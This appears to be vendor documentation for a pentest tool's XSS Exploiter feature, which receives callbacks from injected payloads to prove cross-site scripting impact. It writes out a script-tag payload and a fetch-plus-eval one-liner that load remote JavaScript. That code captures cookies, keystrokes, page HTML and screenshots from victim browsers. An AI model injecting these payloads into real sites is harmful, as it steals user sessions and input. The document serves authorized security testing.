Overview
XSS Exploiter provides callback endpoints that capture data when XSS payloads execute in victim browsers. Use it to validate XSS impact by collecting cookies, screenshots, keystrokes, and page content.
This feature is sometimes referred to as XSS Handlers in older documentation.
XSS Exploiter is an exploit helper tool: it receives callbacks from injected payloads to prove XSS exploitation. It does not add data to your Attack Surface and does not generate findings. Captured data is displayed in a custom report.
How it works
Create a handler
Configure what data to capture and get a unique handler ID.
Generate payload
Pick a delivery method and copy the JavaScript payload.
Inject payload
Insert the payload into a vulnerable application.
Capture callbacks
When a victim’s browser executes the payload, data is sent to your handler.
Review results
View captured data in the handler’s report.
Creating a handler
When creating a handler, configure what data to capture:
| Option | Description |
|---|
| Label | Unique identifier for the handler (alphanumeric, dashes, underscores, dots) |
| Get cookies | Capture document.cookie from the victim’s browser |
| Get HTML content | Capture the full HTML of the page where the payload executed |
| Get page screenshot | Capture a visual screenshot of the page using html2canvas |
| Get keystrokes | Log keystrokes on the page after payload execution |
| Delivery method | How the payload is loaded in the victim’s page (script tag or fetch + eval). See Payload format for the trade-offs |
Enable only the options you need. Capturing screenshots increases payload size and may be blocked by some Content Security Policies.
After creating a handler, you get a JavaScript payload to inject. Pick the one that fits your injection context.
Script tag (default)
<script src='https://app.pentest-tools.com/xss-payload/YOUR_HANDLER_ID'></script>
Use this when the XSS injection lands before the page finishes loading. The browser loads and runs the payload as a normal external script.
This needs the target Content Security Policy to allow script-src from app.pentest-tools.com (e.g. script-src *).
Fetch + eval
fetch("https://app.pentest-tools.com/xss-payload/YOUR_HANDLER_ID").then(function(r){return r.text()}).then(eval)
Use this when the XSS fires after page load, from an async handler or an event callback. The payload is fetched at runtime and evaluated, so it does not need a fresh script tag in the DOM.
This needs the target Content Security Policy to allow both:
connect-src to app.pentest-tools.com, so fetch() can reach the endpoint (e.g. connect-src *)
script-src 'unsafe-eval', so the eval call can run the fetched code
The payload endpoint responds with Access-Control-Allow-Origin: *, so the fetch can read the body cross-origin.
Captured data
For each callback received, the handler captures:
| Data | Description |
|---|
| Cookies | Browser cookies accessible via JavaScript (if enabled) |
| URL | The full URL where the payload executed |
| Page screenshot | Visual capture of the page (if enabled) |
| Keystrokes | Keys typed after payload execution (if enabled) |
| User Agent | Victim’s browser user agent string |
| Timestamp | Date and time of the callback |
| IP Address | Source IP of the callback request |
Handler limits
| Limit | Value |
|---|
| Active duration | 60 days from creation |
| Data entries per handler | 500 callbacks maximum |
| Handlers per user | 300 maximum |
Handlers automatically expire after 60 days. Create a new handler if you need to continue testing.
XSS Exploiter can capture real data from victim browsers. Handle captured cookies and session data responsibly and delete after testing concludes.
Ethical considerations
- Only test applications you have authorization to assess
- Minimize data capture, collect only what’s needed to prove the vulnerability
- Delete captured data after the engagement
- Do not use captured session tokens to access victim accounts beyond demonstration
- Report findings responsibly to the application owner
Follow-up actions
After capturing XSS callbacks:
- Document the finding: Include captured data (sanitized) in your security report
- Assess cookie scope: Check if captured cookies grant access to sensitive functionality
- Test other injection points: Use Website Scanner to find additional XSS vulnerabilities
- Check for stored XSS: Verify if the payload persists and affects other users
- Review CSP: Analyze Content Security Policy headers that could mitigate XSS